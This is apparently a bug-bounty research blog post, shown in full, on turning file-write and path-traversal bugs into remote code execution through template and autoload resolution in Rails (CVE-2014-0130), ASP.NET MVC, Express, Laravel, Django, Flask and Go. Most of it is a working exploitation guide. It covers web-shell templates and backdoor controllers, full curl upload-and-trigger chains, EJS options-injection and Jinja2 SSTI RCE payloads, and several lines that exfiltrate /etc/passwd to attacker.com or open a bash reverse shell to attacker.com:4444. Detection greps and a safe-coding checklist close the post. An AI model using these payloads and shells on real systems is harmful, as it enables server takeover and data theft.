Write Path Traversal to a RCE Art Department
0 net
Entities
CVE-2014-0130
Write Path Traversal to a RCE Art Department | Critical Thinking - Bug Bounty Podcast fsi Diyan Apostolov https://x.com/thefosi November 28, 2025 CriticalThinking Research members are treated as artists thus here is my small and rare moment of sharing publicly thoughts, insides and art. In the modern world, it is common people to hide, to hide knowledge, to hide thoughts, to hide from life, but in the CT community, we do opposite, we can share what we know, what we feel, what we think, what we critically think! Play that music and enjoy the process of sharing! Things will be discovered and patched so… Share! In our previous article - ASP.NET MVC View Engine Search Patterns , we explored the inner workings and logic behind ASP.NET MVC search patterns. Building on that foundation and the shared understanding we’ve now established, today we’ll dive deeper into more languages. As pentesters, bug bounty hunters,…(whoever consider yourself)., we’re constantly confronted with new programming languages, frameworks, and technologies — it’s absolute chaos out there (especially when you’re pushing 40 and still fondly remember the golden era of BBSs and blazing-fast 33.6K modems 😄). This article takes a closer look at how Ruby resolves templates, examines the underlying behavior, and includes a practical comparison matrix/cheatsheet showing how different languages and frameworks handle similar view/template resolution mechanisms. The matrix is designed to expand over time with additional languages For those short on time, feel free to jump straight to the Cheat Sheet - The Short Version section below — it has everything you need at a glance. For everyone else, grab a coffee and enjoy the full read! Cheat Sheet - Quick Comparison Table Rails Wildcard Routing & Auto-loading: Exploitation Guide Introduction Similar to ASP.NET MVC’s View Engine search pattern vulnerability, Ruby on Rails has an analogous attack surface through the combination of wildcard routing , Zeitwerk auto-loading , and implicit rendering . Both vulnerabilities exploit framework-level file resolution mechanisms that bypass web server protections. Part 1: Understanding Rails Auto-loading with Zeitwerk The Convention-Over-Configuration Pattern Rails follows strict naming conventions where file paths automatically map to class names : # File: app/controllers/users_controller.rb class UsersController < ApplicationController def index # ... end end The Zeitwerk loader uses String#camelize to convert file paths to constants: File Path -> Constant Name app/controllers/users_controller.rb -> UsersController app/controllers/admin/payments_controller.rb -> Admin::PaymentsController app/models/user.rb -> User app/services/payment_processor.rb -> PaymentProcessor How Zeitwerk Auto-loading Works When your Rails application references an undefined constant, Zeitwerk intercepts it: # Somewhere in your Rails app user = User . new # If User is not yet loaded... Behind the scenes: Ruby raises NameError: uninitialized constant User Zeitwerk intercepts this error Converts User → user.rb (reverse camelize) Searches autoload paths: app/models/user.rb Executes the file using require The constant User is now defined Execution continues normally Critical insight: This happens automatically without explicit require statements, and the file is executed when loaded. Autoload Paths Rails automatically configures these directories as autoload paths: app/controllers/ app/models/ app/helpers/ app/mailers/ app/jobs/ app/services/ lib/ Any .rb file in these directories can be auto-loaded based on naming conventions. Part 2: Rails Routing & Implicit Rendering Basic Routing Rails routes map URLs to controller actions: # config/routes.rb Rails . application . routes . draw do get '/users' , to: 'users#index' get '/users/:id' , to: 'users#show' end This maps: GET /users → UsersController#index GET /users/123 → UsersController#show with params[:id] = "123" Wildcard/Globbing Routes Rails supports glob parameters that capture everything including slashes: # config/routes.rb get '/files/*path' , to: 'files#show' Request: GET /files/documents/2024/report.pdf params[:path] = "documents/2024/report.pdf" (includes slashes!) Implicit Rendering If a controller action doesn’t explicitly render something, Rails automatically looks for a template: class UsersController < ApplicationController def profile # No explicit render call # Rails automatically renders: app/views/users/profile.html.erb end end The implicit render searches for templates matching the pattern: app/views//.. Part 3: The Vulnerability - CVE-2014-0130 Vulnerable Configuration The vulnerability occurs when applications use wildcard routing with the :action parameter : # config/routes.rb - VULNERABLE get '/render/*action' , to: 'pages#' # or get '/docs/*action' , controller: 'documentation' This routing pattern tells Rails: Match any URL starting with /render/ Capture everything after as the :action parameter Route to the specified controller Why This Is Dangerous When you combine: Wildcard routes capturing :action Implicit rendering Directory traversal sequences ( ../ ) Rails will: Accept the action parameter with traversal sequences Try to render a template using that action name Not properly sanitize the path Exploitation Example 1: File Disclosure Vulnerable Application: # config/routes.rb Rails . application . routes . draw do get '/pages/*action' , controller: 'pages' end # app/controllers/pages_controller.rb class PagesController < ApplicationController # Relies on implicit rendering # No action methods defined - all handled by implicit render end Attack Request: GET /pages/../../../../etc/passwd HTTP / 1.1 Host : vulnerable-app.com What Happens: Rails routes to PagesController params[:action] = "../../../../etc/passwd" Implicit render looks for template: app/views/pages/../../../../etc/passwd Path traversal resolves to /etc/passwd File contents disclosed (if Rails can read it) Exploitation Example 2: Code Execution via Template Injection Attack Scenario: Assume the attacker has file write access via another vulnerability (upload, path traversal in a different endpoint, etc.) Step 1: Write malicious ERB template Attacker uploads a file to a predictable location: <%= `whoami` %> <%= system ( "curl http://attacker.com/?data=$(cat /etc/passwd | base64)" ) %> Step 2: Trigger via wildcard route # config/routes.rb - VULNERABLE get '/render/*action' , controller: 'pages' Attack Request: GET /render/../../public/uploads/evil.html HTTP / 1.1 Host : vulnerable-app.com Exploitation Chain: Rails accepts action = "../../public/uploads/evil.html" Implicit render searches for: app/views/pages/../../public/uploads/evil.html.erb Path resolves to: public/uploads/evil.html.erb Rails loads and executes the ERB template Embedded Ruby code ( <%= system(...) %> ) executes with app privileges Remote code execution achieved Part 4: Zeitwerk Auto-loading Attack Surface Controller Auto-loading Vulnerability While less common, if an application uses wildcard routing with :controller : # config/routes.rb - EXTREMELY DANGEROUS get '/:controller/:action/:id' This creates an even worse attack surface. Example Attack: GET /admin%2F%2Fevil_controller/malicious_action/1 HTTP / 1.1 If an attacker can: Write a file to app/controllers/admin/evil_controller.rb Trigger the route Then: Zeitwerk auto-loads Admin::EvilController The malicious controller code executes Actions in that controller become accessible Malicious Controller Example Attacker writes to: app/controllers/admin/evil_controller.rb class Admin::EvilController < ApplicationController skip_before_action :verify_authenticity_token def backdoor if params [ :cmd ] render plain: ` #{ params [ :cmd ] } ` else render plain: "Backdoor ready" end end end Attack Request: GET /admin%2Fevil_controller/backdoor?cmd=whoami HTTP / 1.1 Result: Remote command execution. Part 5: Real-World Examples Example 1: Rails App with Dynamic Pages Vulnerable Code: # config/routes.rb Rails . application . routes . draw do # Intention: Allow dynamic page rendering get '/help/*page' , controller: 'help' , action: 'show' end # app/controllers/help_controller.rb class HelpController < ApplicationController def show @page = params [ :page ] # Implicit render looks for: app/views/help/show.html.erb # But what if action method doesn't exist and we use wildcard action? end end Better vulnerable example: # config/routes.rb get '/help/*action' , controller: 'help' # app/controllers/help_controller.rb class HelpController < ApplicationController # No methods - relies on implicit rendering end Directory Structure: app/views/help/ faq.html.erb getting-started.html.erb tutorials.html.erb Legitimate Request: GET /help/faq Renders: app/views/help/faq.html.erb ✓ Malicious Request: GET /help/../../../../config/database.yml Attempts to render: app/views/help/../../../../config/database.yml Resolves to: config/database.yml Result: Database credentials disclosed! Example 2: File Upload + Wildcard Route RCE Scenario: Application has file upload but “restricts” to images only (client-side validation) Step 1: Upload malicious ERB disguised as image POST /uploads HTTP / 1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="avatar.jpg" Content-Type: image/jpeg <%= system("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'") %> ------WebKitFormBoundary-- File saved to: public/uploads/avatar.jpg Step 2: Rename/copy to .erb extension (via path traversal in another endpoint, or if predictable naming). Or attacker finds the app also accepts .erb files in certain directories. However. this step is actually optional in some cases. Rails might still process the file as ERB if: - The implicit render path resolves to it - Rails is configured to handle that extension - The file contains ERB delimiters <%= %> For reliability purposes, the attacker would typically need the .erb extension or Rails won’t treat it as an ERB template. Step 3: Trigger via wildcard route # If app has this route: get '/render/*action' , controller: 'pages' GET /render/../../public/uploads/avatar.jpg HTTP / 1.1 If Rails treats this as a template, the embedded Ruby executes → Reverse shell . Example 3: Auto-loading + Malicious Controller Scenario: App has arbitrary file write via path traversal in a separate vulnerability Step 1: Write malicious controller PUT /api/files?path=../../app/controllers/backdoor_controller.rb HTTP / 1.1 class BackdoorController < ApplicationController def shell render plain: `#{params[:cmd]}` end end Step 2: Trigger auto-loading # If app has wildcard controller routing: match ':controller/:action' , via: :all GET /backdoor/shell?cmd=cat%20/etc/passwd HTTP / 1.1 Result: Rails routes to BackdoorController#shell Zeitwerk auto-loads app/controllers/backdoor_controller.rb Controller class is defined and instantiated shell action executes with command injection RCE achieved Part 6: Detection How we can identify if there is a wildcard endpoints? There a couple techniques which we can use to identify a possible vulnerable endpoint Path Traversal Probing (Best Method) Test if path traversal works in different URL segments curl -i https://target.com/pages/test curl -i https://target.com/pages/../test curl -i https://target.com/pages/../../test curl -i https://target.com/pages/../../../../etc/passwd Look for: Different responses (200 vs 404 vs 500) File disclosure in response body Error messages revealing file paths Response time differences Error Message Fingerprinting Wildcard routes often produce distinctive Rails errors: curl -i https://target.com/pages/nonexistent Wildcard route indicators: Template is missing → Implicit rendering attempting to find template Missing template pages/nonexistent → Shows it’s looking for a template with your input No route matches → Explicit routes only (no wildcard) Example error that reveals wildcard routing: ActionView::MissingTemplate: Missing template pages/../../../../etc/passwd This confirms: Wildcard *action exists Path traversal sequences accepted Implicit rendering active Fuzz Common Wildcard Patterns Test common Rails wildcard endpoints curl -i https://target.com/render/test curl -i https://target.com/pages/test curl -i https://target.com/docs/test curl -i https://target.com/help/test curl -i https://target.com/content/test Indicators: 200 OK or “Template missing” = likely wildcard 404 Not Found = likely explicit routing Directory Brute-forcing Behavior Try random action names curl -i https://target.com/pages/random123 curl -i https://target.com/pages/totally_fake_action Wildcard route behavior: Returns Template is missing (tries to render) Returns 500 error (tries to find template) Explicit route behavior: Returns 404 or routing error immediately Never mentions “template” Response Difference Analysis Compare responses curl -i https://target.com/pages/known_page # Legitimate page curl -i https://target.com/pages/fake_page # Non-existent curl -i https://target.com/pages/../fake # Traversal attempt Wildcard indicators: All return similar HTTP codes (500/200) Error messages reveal template paths Content-Type remains consistent Non-wildcard indicators: Quick 404 responses Generic “not found” pages No mention of templates/views Timing Attack Measure response times time curl -s https://target.com/pages/test > /dev/null time curl -s https://target.com/pages/../../../../etc/passwd > /dev/null Wildcard routes with file system access will have: Longer response times (file system lookups) Variable timing based on path depth The “Golden Test” (Most Reliable) curl -v https://target.com/pages/../../../../etc/passwd 2>&1 | grep -i "missing template\|passwd" If wildcard route exists: Error: Missing template pages/../../../../etc/passwd Or: Actual /etc/passwd contents If no wildcard: 404 Not Found or No route matches Common Rails Wildcard Endpoints Test these first: /render/* /pages/* /docs/* /help/* /content/* /api/* /admin/* Part 7: Key Takeaways Without wildcard routing, that specific CVE doesn’t apply, and many developers/SOCs/.. are aware of it thus it is more rare to find it. If there’s NO action or controller wildcard routing, the attack surface becomes much more constrained, but not zero! Exact Template Path Overwrites # config/routes.rb - NO wildcards get '/users/profile' , to: 'users#profile' Attack scenario : Attacker has file-write capability via separate vulnerability Writes malicious template to EXACT expected path: app/views/users/profile.html.erb < %= system("curl http://attacker.com/?data= $ ( whoami ) ") %> Request GET /users/profile Rails renders the poisoned template → RCE Controller Auto-loading Without Wildcard Routes This is trickier. Modern Rails apps typically use explicit routes, so even if you write: # Attacker writes: app/controllers/backdoor_controller.rb class BackdoorController < ApplicationController def evil render plain: ` #{ params [ :cmd ] } ` end end Without a route pointing to it , Rails won’t route requests there. You’d need: # This route must exist for the attack to work get '/backdoor/evil' , to: 'backdoor#evil' So without wildcard routing OR existing routes to your malicious controller, Zeitwerk auto-loading alone doesn’t help much. Modifying Existing Templates (Not Creating New Ones) # Existing route get '/dashboard' , to: 'home#dashboard' If attacker can modify the existing template: < h1 > Dashboard < /h1> <%= system(params[:cmd]) if params[:cmd] %> Request: GET /dashboard?cmd=whoami → RCE, but this requires modifying existing files, not just creating new ones. With Wildcard Routing (CVE-2014-0130): get ‘/render/*action’, controller: ‘pages’ Attacker can: Write file ANYWHERE: public/uploads/evil.erb, /tmp/evil.erb, etc. Use path traversal in URL: GET /render/../../public/uploads/evil Rails resolves the path and renders it High flexibility in file placement Without Wildcard Routing: get ‘/profile’, to: ‘users#profile’ Attacker must: Write file to EXACT location: app/views/users/profile.html.erb No path traversal possible via URL Much more constrained - needs to know exact route-to-template mapping Low flexibility - must predict exact paths The wildcard routing is what makes it a “weaponized” vulnerability (CVE-worthy), but the fundamental framework behavior (auto-rendering templates) is still an attack surface even without wildcards. Cheat Sheet - The long version Cross-Framework Exploitation Guide This cheatsheet covers how file-write vulnerabilities combined with path traversal can lead to Remote Code Execution (RCE) across different web frameworks by exploiting framework-level file resolution mechanisms. Quick Reference Table Framework File Extension Auto-Execution Wildcard Vuln Difficulty ASP.NET MVC .cshtml Yes (Razor) View Engine patterns Medium Ruby on Rails .erb , .rb Yes (ERB/Zeitwerk) *action , *controller Medium Node.js/Express .ejs , .hbs Yes (Template engines) View options injection Easy PHP/Laravel .blade.php , .php Yes (Blade/Include) Route parameters Easy Python/Django .py , .html Partial (SSTI, __init__.py ) Template injection Hard Python/Flask .py , .html Partial (SSTI, __init__.py ) Template injection Hard Go/Gin/Echo .tmpl , .html No (Manual parse) SSTI gadgets Very Hard Step 1: Understanding Framework File Resolution ASP.NET MVC View() → Searches: ~/Views/{Controller}/{Action}.cshtml Uses: Internal File.Exists() → Bypasses IIS filtering Predictable Paths: ~/Views/Home/Index.cshtml ~/Views/Shared/_Layout.cshtml ~/Areas/{Area}/Views/{Controller}/{Action}.cshtml Example: public ActionResult Profile () { return View (); // Searches: ~/Views/Home/Profile.cshtml } Ruby on Rails Implicit Render → Searches: app/views/{controller}/{action}.{format}.erb Zeitwerk Auto-loading → app/controllers/{name}_controller.rb → NameController Uses: Framework file operations → Bypasses Rack/web server filtering Predictable Paths: app/views/users/profile.html.erb app/controllers/admin/users_controller.rb → Admin::UsersController app/models/user.rb → User Example: class UsersController < ApplicationController def profile # Implicit render: app/views/users/profile.html.erb end end Node.js/Express res.render('view', data) → Searches: views/{view}.{engine} Uses: require() for engines → Bypasses static file serving Predictable Paths: views/index.ejs views/users/profile.hbs views/layouts/main.ejs Example: app . get ( ' /profile ' , ( req , res ) => { res . render ( ' profile ' , req . query ); // Dangerous! }); PHP/Laravel view('name') → Searches: resources/views/{name}.blade.php Uses: include/require → Bypasses web server restrictions Predictable Paths: resources/views/welcome.blade.php resources/views/users/profile.blade.php app/Http/Controllers/UserController.php Example: public function profile () { return view ( 'users.profile' ); // resources/views/users/profile.blade.php } Python/Django render(request, 'template.html') → Searches: templates/{template.html} Auto-loading: Not by default (INSTALLED_APPS) Uses: open() for templates Predictable Paths: templates/index.html app_name/templates/app_name/view.html {app}/__init__.py (for code execution) Example: def profile ( request ): return render ( request , 'users/profile.html' ) Python/Flask render_template('template.html') → Searches: templates/{template.html} Uses: Jinja2 engine → Can exploit SSTI Predictable Paths: templates/index.html templates/users/profile.html {package}/__init__.py (for code execution) Example: @ app . route ( '/profile' ) def profile (): return render_template ( 'profile.html' , user = request . args ) Go/Gin/Echo c.HTML(200, "template.html", data) → Must explicitly parse templates No auto-loading → Must template.ParseFiles() first Uses: Manual file operations Predictable Paths: templates/index.tmpl views/profile.html Depends on developer configuration Example: func profile ( c * gin . Context ) { c . HTML ( 200 , "profile.html" , gin . H { "user" : c . Query ( "name" )}) } Step 2: Wildcard/Dynamic Routing Vulnerabilities ASP.NET MVC // VULNERABLE - Catch-all route routes . MapRoute ( name : "CatchAll" , url : "{controller}/{action}/{*path}" ); Attack Vector: Controller/Action names with path traversal Exploitation: View Engine searches can be manipulated Ruby on Rails # VULNERABLE - Wildcard action get '/pages/*action' , controller: 'pages' # EXTREMELY DANGEROUS - Wildcard controller get '/:controller/:action/:id' Attack Vector: Direct path traversal via *action or *controller Exploitation: GET /pages/../../../../etc/passwd Node.js/Express // VULNERABLE - User-controlled render options app . get ( ' /render/:page ' , ( req , res ) => { res . render ( req . params . page , req . query ); // req.query passed as options! }); Attack Vector: Template engine options injection Exploitation: GET /render/profile?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('calc');// PHP/Laravel // VULNERABLE - Dynamic view names Route :: get ( '/page/{name}' , function ( $name ) { return view ( $name ); // User-controlled view name! }); Attack Vector: Direct view name control with path traversal Exploitation: GET /page/../../../../config/database Python/Django # VULNERABLE - Dynamic template names def render_page ( request , template_name ): return render ( request , template_name ) # User-controlled! urlpatterns = [ path ( 'page//' , render_page ), ] Attack Vector: Path traversal in template name Exploitation: GET /page/../../../../etc/passwd Python/Flask # VULNERABLE - User-controlled templates @ app . route ( '/page/' ) def render_page ( template ): return render_template ( template ) # User-controlled! Attack Vector: Path traversal in template name Exploitation: GET /page/../../../../etc/passwd Go/Gin/Echo // VULNERABLE - User-controlled template data with SSTI func renderPage ( c * gin . Context ) { tmpl := template . Must ( template . New ( "page" ) . Parse ( c . Query ( "content" ))) tmpl . Execute ( c . Writer , c ) // User-controlled template content! } Attack Vector: Server-Side Template Injection Exploitation: SSTI payloads to read files via framework gadgets Step 3: Attack Prerequisites Framework Requirement 1 Requirement 2 Requirement 3 ASP.NET MVC File-write capability Path traversal to ~/Views/ Trigger View() call Ruby on Rails File-write capability Path traversal to app/views/ or app/controllers/ Wildcard route OR exact route match Node.js/Express File-write capability OR Options injection Render call with user data PHP/Laravel File-write capability Path traversal to resources/views/ Dynamic view() call Python/Django File-write to __init__.py Path in PYTHONPATH Module import trigger Python/Flask File-write to __init__.py OR SSTI in template Debug mode (for auto-reload) Go SSTI vulnerability Framework context in template Specific gadgets available Step 4: Exploitation Payloads ASP.NET MVC - RCE via Razor Template Write to: ~/Views/Home/Backdoor.cshtml @{ var cmd = Request["cmd"]; if (!string.IsNullOrEmpty(cmd)) { var proc = System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo { FileName = "cmd.exe", Arguments = "/c " + cmd, RedirectStandardOutput = true, UseShellExecute = false });
@proc.StandardOutput.ReadToEnd()proc.WaitForExit(); } } Trigger: GET /Home/Backdoor?cmd=whoami Ruby on Rails - RCE via ERB Template Write to: app/views/pages/backdoor.html.erb <%= system ( params [ :cmd ]) if params [ :cmd ] %> <%= ` #{ params [ :cmd ] } ` if params [ :cmd ] %> Trigger (with wildcard): GET /pages/backdoor?cmd=whoami Or write to: app/controllers/backdoor_controller.rb class BackdoorController < ApplicationController skip_before_action :verify_authenticity_token def shell render plain: ` #{ params [ :cmd ] } ` end end Trigger: GET /backdoor/shell?cmd=whoami (requires route) Node.js/Express - RCE via EJS Options Injection No file write needed! Just exploit render options: GET /profile?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('curl http://attacker.com/?data=$(cat /etc/passwd|base64)');// Or write malicious template: views/backdoor.ejs <%= process.mainModule.require('child_process').execSync(query.cmd).toString() %> Trigger: GET /backdoor?cmd=whoami PHP/Laravel - RCE via Blade Template Write to: resources/views/backdoor.blade.php @ php if ( isset ( $_GET [ 'cmd' ])) { system ( $_GET [ 'cmd' ]); } @ endphp Or simpler: Trigger: GET /page/backdoor?cmd=whoami Python/Django - RCE via __init__.py Overwrite Write to: {app}/__init__.py or any package in PYTHONPATH import os os . system ( 'curl http://attacker.com/?data=$(whoami)' ) Trigger: Any request that causes module import (or restart if debug mode) Alternative - SSTI (if template injection exists): {{ request.environ }} {{ ''.__class__.__mro__[1].__subclasses__()[396]('whoami', shell=True, stdout=-1).communicate() }} Python/Flask - RCE via __init__.py Overwrite Write to: Flask package __init__.py or app module import os os . system ( 'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"' ) Trigger: Restart or import (debug mode auto-reloads) Alternative - SSTI: {{config.items() }} {{ ''.__class__.__mro__[1].__subclasses__()[396]('whoami', shell=True, stdout=-1).communicate() }} {{ request.environ.get('FLAG') }} Go/Gin - SSTI File Read (Not RCE) No file write needed if SSTI exists: // Gin Framework SSTI { { $ x :=. Gin . Context . Request } }{ { $ x . URL } } Echo Framework - Arbitrary File Read: { { $ x :=. Echo . Filesystem . Open "/etc/passwd" } } { { . Stream 200 "text/plain" $ x } } Note: Go templates are sandboxed; RCE is extremely difficult without custom functions. Step 5: Detection - With Source Code Access ASP.NET MVC # Find View() calls grep -rn "return View()" --include = "*.cs" # Find catch-all routes grep -rn "MapRoute.* \* " --include = "*.cs" Ruby on Rails # Find wildcard routes grep -nE '\*(action|controller)' config/routes.rb # Find implicit rendering (no render/redirect) grep -A10 "def [a-z_]*$" app/controllers/ * .rb | grep -v "render \| redirect" Node.js/Express # Find render calls with user data grep -rn "res.render.*req \. " --include = "*.js" # Find dangerous patterns grep -rn "res.render.*params \| res.render.*query" --include = "*.js" PHP/Laravel # Find dynamic view calls grep -rn "view( \$ " --include = "*.php" # Find user-controlled view names grep -rn "view(request" --include = "*.php" Python/Django # Find dynamic template names grep -rn "render(request,.*request \. " --include = "*.py" # Find path parameters in views grep -rn "def.* \( request,.*template" --include = "*.py" Python/Flask # Find render_template with user input grep -rn "render_template.*request \. " --include = "*.py" # Find route parameters used in rendering grep -rn "@app.route.*<.*>.*render_template" --include = "*.py" Go # Find template parsing with user input grep -rn "template.*Parse.*Query \| template.*Parse.*Param" --include = "*.go" # Find HTML rendering with user data grep -rn " \. HTML.*Context \|\. HTML.*Request" --include = "*.go" Step 6: Detection - WITHOUT Source Code (Black Box) ASP.NET MVC Fingerprinting: # Identify ASP.NET curl -I https://target.com/ # Look for: X-AspNet-Version, X-AspNetMvc-Version # Cookie: ASP.NET_SessionId Path Traversal Test: curl -i https://target.com/Home/../../test curl -i https://target.com/Home/NonExistentAction # Look for: # - "The view 'NonExistentAction' or its master was not found" # - Stack traces revealing view search paths Ruby on Rails Fingerprinting: # Identify Rails curl -I https://target.com/ # Look for: X-Runtime, X-Request-Id # Cookie: _rails_app_session Wildcard Detection: curl -i https://target.com/pages/test curl -i https://target.com/pages/../../../../etc/passwd # Look for: # - "Template is missing" # - "Missing template pages/../../../../etc/passwd" # - "ActionView::MissingTemplate" One-liner: curl -i https://target.com/pages/../../../../etc/passwd 2>&1 | grep -i "missing template" && echo "[!] WILDCARD DETECTED" Node.js/Express Fingerprinting: # Identify Node.js/Express curl -I https://target.com/ # Look for: X-Powered-By: Express # Cookie: connect.sid Options Injection Test: curl -i "https://target.com/profile?settings[view%20options][outputFunctionName]=x" # Look for: # - 500 errors # - JavaScript syntax errors in response # - Different behavior than normal requests Template Error Probing: curl -i https://target.com/nonexistent # Look for: "Error: Failed to lookup view" or EJS/Handlebars errors PHP/Laravel Fingerprinting: # Identify Laravel curl -I https://target.com/ # Look for: Set-Cookie: laravel_session # X-Powered-By: PHP # Check for Laravel error pages curl -i https://target.com/nonexistent # Look for: "Illuminate\View\ViewException" Path Traversal Test: curl -i https://target.com/page/../../config/app # Look for: # - "View [...] not found" # - Stack traces with view paths Python/Django Fingerprinting: # Identify Django curl -I https://target.com/ # Look for: Set-Cookie: csrftoken, sessionid # Django debug page styling (if debug=True) curl -i https://target.com/nonexistent # Look for: "TemplateDoesNotExist" error page SSTI Detection: # Test for template injection curl "https://target.com/page?name={{7*7}}" # Look for: # - "49" in response (SSTI confirmed) # - Django template syntax errors Python/Flask Fingerprinting: # Identify Flask curl -I https://target.com/ # Look for: Set-Cookie: session (JWT format) # Server: Werkzeug (if debug mode) curl -i https://target.com/nonexistent # Look for: Werkzeug debugger, Flask error pages SSTI Detection: # Test for Jinja2 SSTI curl "https://target.com/?name={{7*7}}" curl "https://target.com/?name={{config}}" # Look for: # - "49" in response # - Config object dumped # - Jinja2 syntax errors Go/Gin/Echo Fingerprinting: # Less distinctive headers, check response patterns curl -I https://target.com/ # Gin might expose errors like: # "template: ... :1: function "..." not defined" SSTI Detection: # Test for template injection curl "https://target.com/?template={{.}}" curl "https://target.com/?name={{.Request}}" # Look for: # - Go template syntax errors # - Object structures in response Step 7: Automated Detection Scripts Multi-Framework Scanner #!/bin/bash # framework-vuln-scanner.sh TARGET = " $1 " OUTPUT = "scan-results.txt" echo "[*] Scanning $TARGET for file-write-to-RCE vulnerabilities" | tee $OUTPUT # Test ASP.NET MVC echo -e " \n [*] Testing ASP.NET MVC..." | tee -a $OUTPUT curl -si " $TARGET /Home/NonExistent" | grep -i "view.*not found" && \ echo "[!] ASP.NET MVC: Potential View Engine exposure" | tee -a $OUTPUT # Test Rails echo -e " \n [*] Testing Ruby on Rails..." | tee -a $OUTPUT curl -si " $TARGET /pages/../../../../etc/passwd" | grep -i "missing template \| actionview" && \ echo "[!] Rails: Wildcard routing detected!" | tee -a $OUTPUT # Test Express echo -e " \n [*] Testing Node.js/Express..." | tee -a $OUTPUT curl -si " $TARGET /test?settings[view%20options][outputFunctionName]=x" 2>&1 | grep -i "error \| express" && \ echo "[!] Express: Possible options injection vector" | tee -a $OUTPUT # Test Laravel echo -e " \n [*] Testing PHP/Laravel..." | tee -a $OUTPUT curl -si " $TARGET /page/../../test" | grep -i "illuminate \| view.*not found" && \ echo "[!] Laravel: View resolution exposure" | tee -a $OUTPUT # Test Django echo -e " \n [*] Testing Python/Django..." | tee -a $OUTPUT curl -si " $TARGET /page?name={{7*7}}" | grep "49" && \ echo "[!] Django: SSTI vulnerability detected!" | tee -a $OUTPUT # Test Flask echo -e " \n [*] Testing Python/Flask..." | tee -a $OUTPUT curl -si " $TARGET /?test={{config}}" | grep -i "config \| werkzeug" && \ echo "[!] Flask: SSTI vulnerability detected!" | tee -a $OUTPUT # Test Go echo -e " \n [*] Testing Go frameworks..." | tee -a $OUTPUT curl -si " $TARGET /?test={{.}}" | grep -i "template.*error \| can't evaluate" && \ echo "[!] Go: Possible template injection" | tee -a $OUTPUT echo -e " \n [*] Scan complete. Results saved to $OUTPUT " Usage: chmod +x framework-vuln-scanner.sh ./framework-vuln-scanner.sh https://target.com Step 8: Framework-Specific Exploitation Chains ASP.NET MVC - Full Chain # 1. Discover file upload with path traversal curl -X POST https://target.com/upload \ -F "[email protected]" \ -F "path=../../Views/Home/Backdoor.cshtml" # 2. Upload malicious Razor view cat > backdoor.cshtml << ' EOF ' @{ var cmd = Request["cmd"]; if (cmd != null) { var proc = System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd); proc.WaitForExit(); } } EOF # 3. Trigger execution curl "https://target.com/Home/Backdoor?cmd=whoami" Ruby on Rails - Full Chain # 1. Upload malicious ERB template cat > evil.html.erb << ' EOF ' <%= `#{params[:cmd]}` %> EOF curl -X POST https://target.com/upload \ -F "[email protected]" \ -F "path=../../app/views/pages/evil.html.erb" # 2. Trigger via wildcard route curl "https://target.com/pages/evil?cmd=curl%20http://attacker.com/%3Fdata=%24(cat%20/etc/passwd%7Cbase64)" # OR - Upload malicious controller cat > backdoor_controller.rb << ' EOF ' class BackdoorController < ApplicationController skip_before_action :verify_authenticity_token def shell render plain: `#{params[:cmd]}` end end EOF curl -X POST https://target.com/upload \ -F "file=@backdoor_controller.rb" \ -F "path=../../app/controllers/backdoor_controller.rb" # 3. Trigger auto-loading (requires route) curl "https://target.com/backdoor/shell?cmd=whoami" Node.js/Express - Full Chain (No File Write!) # Exploit via options injection - NO FILE WRITE NEEDED! # 1. Identify vulnerable render endpoint curl -i https://target.com/profile # 2. Inject malicious outputFunctionName PAYLOAD = "x;process.mainModule.require('child_process').execSync('curl http://attacker.com/ \? data= \$ (whoami)');//" curl "https://target.com/profile?settings[view%20options][outputFunctionName]= ${ PAYLOAD } " # Or if file write is available: cat > backdoor.ejs << ' EOF ' <%= process.mainModule.require('child_process').execSync(query.cmd).toString() %> EOF curl -X POST https://target.com/upload \ -F "[email protected]" \ -F "path=../../views/backdoor.ejs" curl "https://target.com/backdoor?cmd=whoami" PHP/Laravel - Full Chain # 1. Upload malicious Blade template cat > backdoor.blade.php << ' EOF ' @php system( $_GET ['cmd']); @endphp EOF curl -X POST https://target.com/upload \ -F "[email protected]" \ -F "path=../../resources/views/backdoor.blade.php" # 2. Trigger execution curl "https://target.com/page/backdoor?cmd=whoami" Python/Django - Full Chain # 1. Overwrite __init__.py in application package cat > __init__.py << ' EOF ' import os os.system('curl http://attacker.com/?data= $( whoami ) ') EOF curl -X POST https://target.com/upload \ -F "file=@__init__.py" \ -F "path=../../myapp/__init__.py" # 2. Trigger reload (if debug mode) or wait for restart # The payload executes on module import # Alternative - SSTI if available: curl "https://target.com/page?template={{request.environ}}" Python/Flask - Full Chain # 1. Overwrite __init__.py cat > __init__.py << ' EOF ' import os os.system('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"') EOF curl -X POST https://target.com/upload \ -F "file=@__init__.py" \ -F "path=../../app/__init__.py" # 2. In debug mode, changes auto-reload # Listen on attacker machine: nc -lvnp 4444 # Alternative - SSTI: PAYLOAD = "{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}" curl "https://target.com/?name= ${ PAYLOAD } " Step 9: Code Review Checklist Universal Red Flags (All Frameworks) User input used in file paths without validation Dynamic view/template name resolution Wildcard routing patterns File upload with insufficient path validation Debug mode enabled in production Template/view rendering with user-controlled options Path traversal sequences ( ../ ) not filtered No whitelist for allowed views/templates Framework-Specific Red Flags ASP.NET MVC // DANGEROUS return View ( userInput ); return View ( "~/Views/" + userInput + ".cshtml" ); // SAFE var allowedViews = new [] { "Profile" , "Settings" }; if ( allowedViews . Contains ( viewName )) return View ( viewName ); Ruby on Rails # DANGEROUS get '/*action' , controller: 'pages' render template: params [ :template ] # SAFE ALLOWED_ACTIONS = %w[index show profile] . freeze raise unless ALLOWED_ACTIONS . include? ( params [ :action ]) render template: "pages/ #{ params [ :action ] } " Node.js/Express // DANGEROUS res . render ( req . params . view , req . query ); // SAFE const allowedViews = [ ' profile ' , ' settings ' ]; if ( allowedViews . includes ( req . params . view )) { const safeData = { name : req . query . name }; // Only specific fields res . render ( req . params . view , safeData ); } PHP/Laravel // DANGEROUS return view ( $request -> input ( 'page' )); // SAFE $allowedViews = [ 'home' , 'profile' , 'settings' ]; $view = $request -> input ( 'page' ); if ( in_array ( $view , $allowedViews )) { return view ( $view ); } Python/Django # DANGEROUS return render ( request , request . GET [ 'template' ]) # SAFE from django.template.loader import select_template allowed = [ 'home.html' , 'profile.html' ] template = 